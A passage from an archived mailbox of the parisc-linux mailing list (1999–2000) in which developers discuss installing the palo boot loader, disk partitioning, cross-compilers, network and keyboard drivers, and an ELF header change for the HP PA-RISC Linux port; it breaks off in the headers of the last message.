To: Paul Bame <bame@noam.fc.hp.com>
Original-X-From: kailasr@webcash.com  Tue Oct 31 14:00:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA21902
	for <parisc-linux@puffin.external.hp.com>; Tue, 31 Oct 2000 14:00:32 -0700
Original-Received: (qmail 20612 invoked by uid 15267); 31 Oct 2000 21:02:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 20597 invoked from network); 31 Oct 2000 21:02:12 -0000
Original-Received: from ns2.imedia.net (209.247.154.4)
  by mailserv2.iuinc.com with SMTP; 31 Oct 2000 21:02:12 -0000
Original-Received: from test.webcash.com (adsl-63-202-198-74.dsl.snfc21.pacbell.net [63.202.198.74])
	by ns2.imedia.net (8.10.2/8.9.3) with ESMTP id e9VKuV857009;
	Tue, 31 Oct 2000 12:56:31 -0800 (PST)
X-Sender: kailasr@mail.webcash.com
X-Mailer: QUALCOMM Windows Eudora Version 5.0
X-Priority: 1 (Highest)
In-Reply-To: <E13qeg4-0007kf-00@noam.fc.hp.com>
Original-References: <Your message of "Mon, 30 Oct 2000 13:51:00 PST." <5.0.0.25.0.20001030134804.00a46a60@mail.webcash.com>
 <5.0.0.25.0.20001030134804.00a46a60@mail.webcash.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8275

Hi Paul,

After booting the Server from NFSroot I need to Initialize the harddisk on 
the server. so I copied the palo and linux in to the nfsroot. I am trying 
to Run the following command:
$ palo -I -k /boot/vmlinux -b /boot/iplboot   -c '2/boot/vmlinux TERM=linux 
HOME=/ root=/dev/sda2' /dev/sda
fisrt partition is 10M of type f0
second partition is /dev/sda2 of type linux native.
Third partition is /dev/sda3 of type linux Swap

Then I get the cannot execute binary file.

second question is that what is the Terminal type I should set as I am 
unable to open vi.

Please suggest the correct steps.
Thanks.
Kailas



At 09:54 AM 10/31/00 -0700, Paul Bame wrote:
>= Hi,
>=
>= I have booted HP A class server from nfsroot. but when I try to run palo on
>= the server to initialize boot loader to the hdd I get
>= "cannot execute the binary file"
>=
>= can any one help me to make the hdd bootable
>
>It would help me to see the actual command you used and the actual
>error message(s) printed.  With the info you give so far it could be
>"a million" things.
>
>         -P


From - Thu Nov 08 21:13:53 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Ulrich Drepper <drepper@cygnus.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] kernel updates.
Date: 17 Apr 1999 23:35:10 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <r2ogkmmo69.fsf@happy.cygnus.com>
References: <Pine.LNX.3.96.990418020814.1235C-100000@devserv.devel.redhat.com>
Reply-To: drepper@cygnus.com (Ulrich Drepper)
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (generated by tm-edit 7.108)
Content-Type: text/plain; charset=US-ASCII
X-Trace: ger.gmane.org 1416619234 5283 80.91.229.3 (22 Nov 2014 01:20:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:34 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Alex deVries <adevries@redhat.com>
Original-X-From: drepper@cygnus.com  Sun Apr 18 02:35:53 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by sod.res.cmu.edu (8.8.7/8.8.7) with SMTP id CAA15691
	for <parisc-linux@sod.res.cmu.edu>; Sun, 18 Apr 1999 02:35:53 -0400
Original-Received: (qmail 973 invoked by uid 15267); 18 Apr 1999 06:34:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 966 invoked from network); 18 Apr 1999 06:34:48 -0000
Original-Received: from runyon.cygnus.com (HELO cygnus.com) (205.180.230.5)
  by mailserv2.iuinc.com with SMTP; 18 Apr 1999 06:34:48 -0000
Original-Received: from happy.cygnus.com (happy.cygnus.com [205.180.230.206])
	by runyon.cygnus.com (8.8.7-cygnus/8.8.7) with ESMTP id XAA15420;
	Sat, 17 Apr 1999 23:35:32 -0700 (PDT)
Original-Received: (drepper@localhost) by happy.cygnus.com (8.8.7/8.6.4) id XAA31850; Sat, 17 Apr 1999 23:35:10 -0700
X-fingerprint: BE 3B 21 04 BC 77 AC F0  61 92 E4 CB AC DD B9 5A
In-Reply-To: Alex deVries's message of "Sun, 18 Apr 1999 02:10:22 -0400 (EDT)"
Original-Lines: 14
X-Mailer: Gnus v5.5/XEmacs 20.4 - "Emerald"
Xref: news.gmane.org gmane.linux.ports.parisc:8276

Alex deVries <adevries@redhat.com> writes:

> And ld.  We need ld help.

Well, this might be the right time to ask:

	I need the ELF specs which should be used.

This is for ld and glibc.

-- 
---------------.      drepper at gnu.org  ,-.   1325 Chesapeake Terrace
Ulrich Drepper  \    ,-------------------'   \  Sunnyvale, CA 94089 USA
Cygnus Solutions `--' drepper at cygnus.com   `------------------------


From - Thu Nov 08 21:13:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Paul Bame <bame@noam.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] NEW NATIVE PALO TARBALL - REQUIRED
Date: Tue, 31 Oct 2000 14:26:00 -0700
Lines: 21
Approved: news@gmane.org
Message-ID: <E13qiuu-00005u-00@noam.fc.hp.com>
References: <Your message of "Mon, 30 Oct 2000 13:51:00 PST." <5.0.0.25.0.20001030134804.00a46a60@mail.webcash.com> <5.0.0.25.0.20001030134804.00a46a60@mail.webcash.com>  <5.0.0.25.0.20001031125250.00ad6430@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619234 5291 80.91.229.3 (22 Nov 2014 01:20:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:34 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Kailashnath V Rampure <kailasr@webcash.com>
Original-X-From: bame@noam.fc.hp.com  Tue Oct 31 14:24:27 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA22537
	for <parisc-linux@puffin.external.hp.com>; Tue, 31 Oct 2000 14:24:26 -0700
Original-Received: (qmail 21411 invoked by uid 15267); 31 Oct 2000 21:26:08 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 21395 invoked from network); 31 Oct 2000 21:26:07 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 31 Oct 2000 21:26:07 -0000
Original-Received: from hpfcla.fc.hp.com (hpfcla.fc.hp.com [15.254.48.2])
	by atlrel1.hp.com (Postfix) with ESMTP
	id 6C254110B; Tue, 31 Oct 2000 16:26:05 -0500 (EST)
Original-Received: from noam.fc.hp.com (mail@noam.fc.hp.com [15.1.52.69])
	by hpfcla.fc.hp.com (8.9.1/8.9.3 SMKit7.01) with ESMTP id OAA17511;
	Tue, 31 Oct 2000 14:26:01 -0700 (MST)
Original-Received: from localhost
	([127.0.0.1] helo=noam.fc.hp.com ident=bame)
	by noam.fc.hp.com with esmtp (Exim 3.12 #1 (Debian))
	id 13qiuu-00005u-00; Tue, 31 Oct 2000 14:26:00 -0700
In-Reply-To: Your message of "Tue, 31 Oct 2000 12:58:41 PST."
             <5.0.0.25.0.20001031125250.00ad6430@mail.webcash.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8277

= Hi Paul,
= 
= After booting the Server from NFSroot I need to Initialize the harddisk on 
= the server. so I copied the palo and linux in to the nfsroot. I am trying 
= to Run the following command:
= $ palo -I -k /boot/vmlinux -b /boot/iplboot   -c '2/boot/vmlinux TERM=linux 
= HOME=/ root=/dev/sda2' /dev/sda
= fisrt partition is 10M of type f0
= second partition is /dev/sda2 of type linux native.
= Third partition is /dev/sda3 of type linux Swap

That looks great.

= Then I get the cannot execute binary file.

Ok I think we changed the kernal such that the old palo bits won't run
any more (we removed the old gateway page).  I uploaded a new version:
ftp://puffin.external.hp.com/pub/parisc/binaries/userspace/palo-200001031.tgz

	-P


From - Thu Nov 08 21:13:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unable to run palo on nfs root
Date: Tue, 31 Oct 2000 13:53:04 -0800
Lines: 25
Approved: news@gmane.org
Message-ID: <200010312153.NAA27189@milano.cup.hp.com>
References: <5.0.0.25.0.20001031125250.00ad6430@mail.webcash.com>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416619235 5295 80.91.229.3 (22 Nov 2014 01:20:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:35 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Tue Oct 31 14:46:32 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id OAA23089
	for <parisc-linux@puffin.external.hp.com>; Tue, 31 Oct 2000 14:46:31 -0700
Original-Received: (qmail 19236 invoked by uid 15267); 31 Oct 2000 21:48:13 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19225 invoked from network); 31 Oct 2000 21:48:13 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 31 Oct 2000 21:48:13 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.8.80.76])
	by palrel1.hp.com (Postfix) with ESMTP id E304E164B
	for <parisc-linux@thepuffingroup.com>; Tue, 31 Oct 2000 13:48:11 -0800 (PST)
Original-Received: from localhost (grundler@localhost [127.0.0.1])
	by milano.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with SMTP id NAA27189
	for <parisc-linux@thepuffingroup.com>; Tue, 31 Oct 2000 13:53:05 -0800 (PST)
X-Authentication-Warning: milano.cup.hp.com: grundler@localhost [127.0.0.1] didn't use HELO protocol
In-reply-to: Your message of "Tue, 31 Oct 2000 12:58:41 PST."
             <5.0.0.25.0.20001031125250.00ad6430@mail.webcash.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:8278

Kailashnath V Rampure wrote:
> fisrt partition is 10M of type f0
> second partition is /dev/sda2 of type linux native.
> Third partition is /dev/sda3 of type linux Swap

Kailashnath,
Even though your partitioning should work fine, you really want the
swap on the lowest numbered SCSI block you can get away with.

Several reasons for this:
o lowest block number is on the outside of the SCSI disk were data
  xfer rate is typically 80% faster than the inside.
  (someday try "time dd if=/dev/sda of=/dev/null bs=8k count=50"
   with and with out skip parameter).
o Eventualy we will have kernel dumps to swap space - and IODC
  will likely have the same limitations where on the disk
  dump can be as we have with booting from a disk (as discussed in 
  the PALO documentation).

grant

Grant Grundler
Unix Systems Enablement Lab
+1.408.447.7253


From - Thu Nov 08 21:13:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] New cross-compiler
Date: Tue, 31 Oct 2000 16:16:09 -0700
Lines: 15
Approved: news@gmane.org
Message-ID: <20001031231609.8F44638554@carmen.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619235 5302 80.91.229.3 (22 Nov 2014 01:20:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:35 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: taggart@carmen.fc.hp.com  Tue Oct 31 16:12:55 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA23939
	for <parisc-linux@puffin.external.hp.com>; Tue, 31 Oct 2000 16:12:54 -0700
Original-Received: (qmail 1471 invoked by uid 15267); 31 Oct 2000 23:14:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 1438 invoked from network); 31 Oct 2000 23:14:34 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 31 Oct 2000 23:14:34 -0000
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel1.hp.com (Postfix) with ESMTP id DDAC11256
	for <parisc-linux@thepuffingroup.com>; Tue, 31 Oct 2000 18:14:33 -0500 (EST)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP id 8F44638554
	for <parisc-linux@thepuffingroup.com>; Tue, 31 Oct 2000 16:16:09 -0700 (MST)
X-Mailer: exmh version 2.2 06/23/2000 (debian 2.2-1) with nmh-1.0.4+dev
Xref: news.gmane.org gmane.linux.ports.parisc:8279

I have placed a new i386-linux -> hppa32/64-linux cross compiler (with 32bit 
glibc) in,

ftp://puffin.external.hp.com/pub/parisc/binaries/LinuxX86/xc-20001031.tar.gz

It includes Alan Modra's recent fix for the 64 bit compiler,

http://puffin.external.hp.com/mailing-lists/parisc-linux-cvs/2000/10-Oct/0233.h
tml

-- 
Matt Taggart
taggart@fc.hp.com



From - Thu Nov 08 21:13:54 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Phillip Beal <pdbeal@bealz.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] 735 and Thin Lan
Date: Tue, 31 Oct 2000 18:43:06 -0500
Lines: 17
Approved: news@gmane.org
Message-ID: <20001031184306.A25163@Ci271622-a.lusvil1.ky.home.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416619235 5307 80.91.229.3 (22 Nov 2014 01:20:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:35 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: pdbeal@Ci271622-a.lusvil1.ky.home.com  Tue Oct 31 16:38:50 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA24515
	for <parisc-linux@puffin.external.hp.com>; Tue, 31 Oct 2000 16:38:50 -0700
Original-Received: (qmail 31384 invoked by uid 15267); 31 Oct 2000 23:40:31 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 31362 invoked from network); 31 Oct 2000 23:40:31 -0000
Original-Received: from ci271622-a.lusvil1.ky.home.com (root@24.7.120.84)
  by mailserv2.iuinc.com with SMTP; 31 Oct 2000 23:40:31 -0000
Original-Received: (from pdbeal@localhost)
	by Ci271622-a.lusvil1.ky.home.com (8.9.3/8.9.3) id SAA25183
	for parisc-linux@thepuffingroup.com; Tue, 31 Oct 2000 18:43:07 -0500 (EST)
	(envelope-from pdbeal)
Content-Disposition: inline
User-Agent: Mutt/1.2.4i
Xref: news.gmane.org gmane.linux.ports.parisc:8280

Hey,

I've obtained two HP 735's and I'd like to try the linus port on them.
I have compiled a kernel, but it never boots the nfsroot disk.  It has
the same problem that the HP 755 that I've worked with.  However, it has
a different ethernet connection.  The 735 has a thin lan connection.
What network device should be used in the kernel to be able to use the
thin lan adapter?  Here's the info on the Thin lan:

Outfield Core LAN (802.3) (10) at 0xf0826000 versions 0x9, 0x0, 0x72,
0x0, 0x0

Thanks,
-- 
Phillip Beal
S+LUG Vice-President


From - Thu Nov 08 21:13:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] 735 and Thin Lan
Date: Wed, 1 Nov 2000 00:57:22 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <00110100572206.00343@P100>
References: <20001031184306.A25163@Ci271622-a.lusvil1.ky.home.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="us-ascii"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619236 5316 80.91.229.3 (22 Nov 2014 01:20:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:36 +0000 (UTC)
To: Phillip Beal <pdbeal@bealz.net>, parisc-linux@thepuffingroup.com
Original-X-From: deller@gmx.de  Tue Oct 31 16:56:04 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id QAA25063
	for <parisc-linux@puffin.external.hp.com>; Tue, 31 Oct 2000 16:56:03 -0700
Original-Received: (qmail 19040 invoked by uid 15267); 31 Oct 2000 23:57:44 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19030 invoked from network); 31 Oct 2000 23:57:44 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 31 Oct 2000 23:57:44 -0000
Original-Received: (qmail 12278 invoked by uid 0); 31 Oct 2000 23:57:17 -0000
Original-Received: from pd9040336.dip.t-dialin.net (HELO P100) (217.4.3.54)
  by mail.gmx.net with SMTP; 31 Oct 2000 23:57:17 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <20001031184306.A25163@Ci271622-a.lusvil1.ky.home.com>
Xref: news.gmane.org gmane.linux.ports.parisc:8281

On Wednesday 01 November 2000 00:43, Phillip Beal wrote:
> Hey,
> 
> I've obtained two HP 735's and I'd like to try the linus port on them.
> I have compiled a kernel, but it never boots the nfsroot disk.  It has
> the same problem that the HP 755 that I've worked with.  However, it has
> a different ethernet connection.  The 735 has a thin lan connection.
> What network device should be used in the kernel to be able to use the
> thin lan adapter?  Here's the info on the Thin lan:
> 
> Outfield Core LAN (802.3) (10) at 0xf0826000 versions 0x9, 0x0, 0x72,
> 0x0, 0x0
> 
> Thanks,
> Phillip Beal
> S+LUG Vice-President

Hi Phillip,

I think the "Lasi ethernet"-driver (enabled by default in our configuration) 
should work on both of your boxes.

Helge.


From - Thu Nov 08 21:13:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The new PS/2 Keyboard Driver
Date: Wed, 1 Nov 2000 01:45:52 +0100
Lines: 60
Approved: news@gmane.org
Message-ID: <00110101455208.00343@P100>
References: <002a01c03f88$0a20d580$a832d793@esiee.fr> <00102701504600.00370@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416619236 5325 80.91.229.3 (22 Nov 2014 01:20:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:36 +0000 (UTC)
To: "Thomas Marteau" <marteaut@esiee.fr>, <parisc-linux@thepuffingroup.com>
Original-X-From: deller@gmx.de  Tue Oct 31 17:44:07 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id RAA25952
	for <parisc-linux@puffin.external.hp.com>; Tue, 31 Oct 2000 17:44:07 -0700
Original-Received: (qmail 4559 invoked by uid 15267); 1 Nov 2000 00:45:48 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 4548 invoked from network); 1 Nov 2000 00:45:48 -0000
Original-Received: from pop.gmx.net (HELO mail.gmx.net) (194.221.183.20)
  by mailserv2.iuinc.com with SMTP; 1 Nov 2000 00:45:48 -0000
Original-Received: (qmail 12115 invoked by uid 0); 1 Nov 2000 00:45:47 -0000
Original-Received: from pd9040336.dip.t-dialin.net (HELO P100) (217.4.3.54)
  by mail.gmx.net with SMTP; 1 Nov 2000 00:45:47 -0000
X-Mailer: KMail [version 1.2]
In-Reply-To: <00102701504600.00370@P100>
Xref: news.gmane.org gmane.linux.ports.parisc:8282

On Friday 27 October 2000 01:50, Helge Deller wrote:
> On Thursday 26 October 2000 22:05, Thomas Marteau wrote:
> 
> > > 
> > Hello everyone,
> > 
> > We've just updated the PS/2 keyboard driver. The leds and interrupt
> > functions work really well on a 712 workstation and also B132 now. The
> > updated driver files are available on our website. It works better than
> > under HP UX for the B 132 ;->
> > 
> > http://www.esiee.fr/~djoudim
> > 
> > The ESIEE Port Team in Paris.
> > 
> > Here is the patch:
> > 
> > diff -urN linux/drivers/char/gsc_ps2.c linux-parisc/drivers/char/gsc_ps2.c
> > --- linux/drivers/char/gsc_ps2.c Thu Oct 26 21:06:54 2000
> > +++ linux-parisc/drivers/char/gsc_ps2.c Thu Oct 26 21:34:00 2000
> > @@ -7,6 +7,11 @@
> >  [.............]
> 
> > diff -urN linux/drivers/char/keyb_at.c linux-parisc/drivers/char/keyb_at.c
> > --- linux/drivers/char/keyb_at.c Thu Oct 26 21:07:00 2000
> > +++ linux-parisc/drivers/char/keyb_at.c Thu Oct 26 21:23:16 2000
> > [........]
> 
> Hi Thomas,
> 
> Thanks for your patch. 
> But I don't think it's a good idea to change a common file like keyb_at.c, 
> which is used in most other arches too. This patch surely breaks their 
> keyboard support and more than that I'm sure, that Linus will not accept 
this 
> patch, when the time is come to integrate parisc into the official kernel.
> 
> Isn't there any other solution as for example to #ifdef the code or create 
a 
> new keyb_at.c for parisc (Yes I know, both of those aren't clean too.) ?
> 
> Helge Deller


Hi folks,

I need to correct myself on this topic. The ESIEE-team made a great patch and 
didn't changed any globally used file.  keyb_at.c is just used in the current 
parisc-port, and so it's ok to change that file.

I just committed their changes to the CVS, and in the same cycle tried to 
clean up the code. In the same step I renamed the original filenames to some 
hopefully better ones.

Since I don't own myself a real HP PS/2 keyboard (it's just an PC-AT one with 
a small DIN to PS/2-connector), it would be great to get some feedback if I 
did the Right Thing.

Helge.


From - Thu Nov 08 21:13:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Brian S. Julin" <bri@mojo.calyx.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] The new PS/2 Keyboard Driver
Date: Wed, 1 Nov 2000 02:48:02 -0500 (EST)
Lines: 13
Approved: news@gmane.org
Message-ID: <Pine.BSO.4.21.0011010229470.27528-100000@mojo.calyx.net>
References: <00110101455208.00343@P100>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416619236 5334 80.91.229.3 (22 Nov 2014 01:20:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:36 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Helge Deller <deller@gmx.de>
Original-X-From: bri@mojo.calyx.net  Wed Nov  1 00:46:33 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id AAA06636
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Nov 2000 00:46:32 -0700
Original-Received: (qmail 7369 invoked by uid 15267); 1 Nov 2000 07:48:14 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 7358 invoked from network); 1 Nov 2000 07:48:14 -0000
Original-Received: from mail.calyx.net (qmailr@208.132.136.19)
  by mailserv2.iuinc.com with SMTP; 1 Nov 2000 07:48:14 -0000
Original-Received: (qmail 16954 invoked from network); 1 Nov 2000 02:48:02 -0500
Original-Received: from mojo.calyx.net (HELO mojo) (sn0qoa05wja3rm5v6no4@208.132.136.2)
  by mail.calyx.net with SMTP; 1 Nov 2000 02:48:02 -0500
In-Reply-To: <00110101455208.00343@P100>
Xref: news.gmane.org gmane.linux.ports.parisc:8283


Probably best not to worry about cleaning keyboard drivers up too much.
The current USB code will be followed by linux-input style drivers at
some point.  In fact I started a HIL linux-input style driver, which
would abstract the PS2 port/HIL ports and allow a standard keyboard module
to be hooked into the abstracted serio port.  I will work on it more when
time permits.

--
Brian S. Julin




From - Thu Nov 08 21:13:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Elf Header change proposal
Date: Wed, 1 Nov 2000 02:37:58 -0700 (MST)
Lines: 15
Approved: news@gmane.org
Message-ID: <200011010937.CAA16167@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619237 5342 80.91.229.3 (22 Nov 2014 01:20:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:37 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jsm@udlkern.fc.hp.com  Wed Nov  1 02:36:18 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id CAA07638
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Nov 2000 02:36:18 -0700
Original-Received: (qmail 19068 invoked by uid 15267); 1 Nov 2000 09:38:00 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 19060 invoked from network); 1 Nov 2000 09:37:59 -0000
Original-Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 1 Nov 2000 09:37:59 -0000
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
	by atlrel1.hp.com (Postfix) with ESMTP id 3FD012C2
	for <parisc-linux@thepuffingroup.com>; Wed,  1 Nov 2000 04:37:59 -0500 (EST)
Original-Received: (from jsm@localhost) by udlkern.fc.hp.com (8.8.6 (PHNE_14041)/8.7.3 SMKit7.0) id CAA16167 for parisc-linux@thepuffingroup.com; Wed, 1 Nov 2000 02:37:58 -0700 (MST)
Xref: news.gmane.org gmane.linux.ports.parisc:8284


Paul and Alan pointed out that I goofed. I analyzed the vmlinux in my 64
bit build area to get the current flags, but it turns out that the vmlinux
I looked at was a 32 bit version. I had recently made some 64 bit checkins,
and I like to rebuild everything for 32 bit before doing that, to make
sure that I haven't broken the 32 bit path by making 64 bit changes.

So, the bad news is that I wasted time writing an unecessarily long
design proposal. The good news is that the only thing that needs to
change is value in the e_ident[EI_OSABI] field, so that we can
differentiate 64 bit HP-UX binaries from 64 bit Linux binaries.
We should also change the field for 32 bit Linux also.

John


From - Thu Nov 08 21:13:54 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John Marvin <jsm@udlkern.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: space registers
Date: Wed, 1 Nov 2000 03:35:49 -0700 (MST)
Lines: 37
Approved: news@gmane.org
Message-ID: <200011011035.DAA17270@udlkern.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416619237 5349 80.91.229.3 (22 Nov 2014 01:20:37 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:20:37 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: jsm@udlkern.fc.hp.com  Wed Nov  1 03:36:36 2000
Original-Received: from mailserv2.iuinc.com (IDENT:qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.9.3/8.9.3) with SMTP id DAA08412
	for <parisc-linux@puffin.external.hp.com>; Wed, 1 Nov 2000 03:36:36 -0700
Original-Received: (qmail 28941 invoked by uid 15267); 1 Nov 2000 10:38:18 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 28934 invoked from network); 1 Nov 2000 10:38:18 -0000
Original-Received: from palrel3.hp.com (156.153.255.226)
  by mailserv2.iuinc.com with SMTP; 1 Nov 2000 10:38:18 -0000
Original-Received: from udlkern.fc.hp.com (udlkern.fc.hp.com [15.1.52.48])
